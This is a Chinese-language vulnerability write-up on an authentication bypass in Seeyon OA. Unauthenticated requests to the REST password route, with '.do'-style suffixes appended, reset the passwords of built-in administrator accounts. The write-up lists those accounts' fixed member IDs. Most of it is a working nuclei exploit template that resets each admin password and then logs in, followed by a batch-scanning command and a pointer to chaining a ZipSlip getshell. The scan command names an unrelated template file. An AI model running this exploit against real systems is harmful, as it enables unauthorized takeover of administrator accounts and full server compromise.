漏洞概述:
致远中存在一些自带的用户,这些用户的memberid
值都是固定的,正常情况下,我们可以通过changePassword
方法修改system
等用户的密码。
seeyon-guest -6964000252392685202
system -7273032013234748168
audit-admin -4401606663639775639
group-admin 5725175934914479521
该漏洞是对rest接口重置密码漏洞补丁权限的绕过
在CTPSecurityFilter.class
的doFilter
方法中,根据uri
的特征,分别有7种权限校验的方法
其中当uri
的后缀为.do
或者 .do;jessionid=
的时候,那么就会进入到SpringControllerAuthenticator
的authenticate
方法中进行验证。
而rest接口修改密码的路由为/seeyon/rest/orgMember/-7273032013234748168/password/123456
,123456
为我们需要修改的密码,当把密码写成123456.do
或者123456.do;jessionid=
,即可让该请求走SpringControllerAuthenticator
的authenticate
方法中进行验证,所以只需要普通用户的权限就可以修改管理员的密码。
但是仍旧需要登录,但是当后缀选择genericController.do或者share.do接口时,所有的action都不需要登录,这就实现前台修改管理员密码。
漏洞复现:
nuclei脚本:
id: zhiyuanOA-ucpclogin-passwordreset
info:
name: zhiyuanOA-ucpclogin-passwordreset
author: unknow
severity: critical
http:
- raw:
- |+
PUT /seeyon/rest/orgMember/{{memberid}}/password/genericController.do HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3891CB3E3CA435C599001E4F03A335B0; loginPageURL=
Connection: close
payloads:
memberid:
- "-6964000252392685202"
- "-7273032013234748168"
- "-4401606663639775639"
- "5725175934914479521"
- raw:
- |+
POST /seeyon/rest/authentication/ucpcLogin?login_username={{name}}&login_password=genericController.do&ticket= HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3891CB3E3CA435C599001E4F03A335B0; loginPageURL=
Connection: close
payloads:
name:
- seeyon-guest
- system
- audit-admin
- group-admin
matchers:
- type: word
part: body
words:
- '"LoginOK":"ok"'
批量验证:
nuclei.exe -p http://127.0.0.1:8080 -stats -t wangkang-NS-ASG-list-sqli.yaml -u xxxxxxxxxxxxxxxxxxxx
登录后台后,可利用通过ZipSlip漏洞getshell。需要的朋友可以去看相关的文章。
https://mp.weixin.qq.com/s/AwXaoIq5kCHScx9NUcgPfQ
https://xz.aliyun.com/t/13741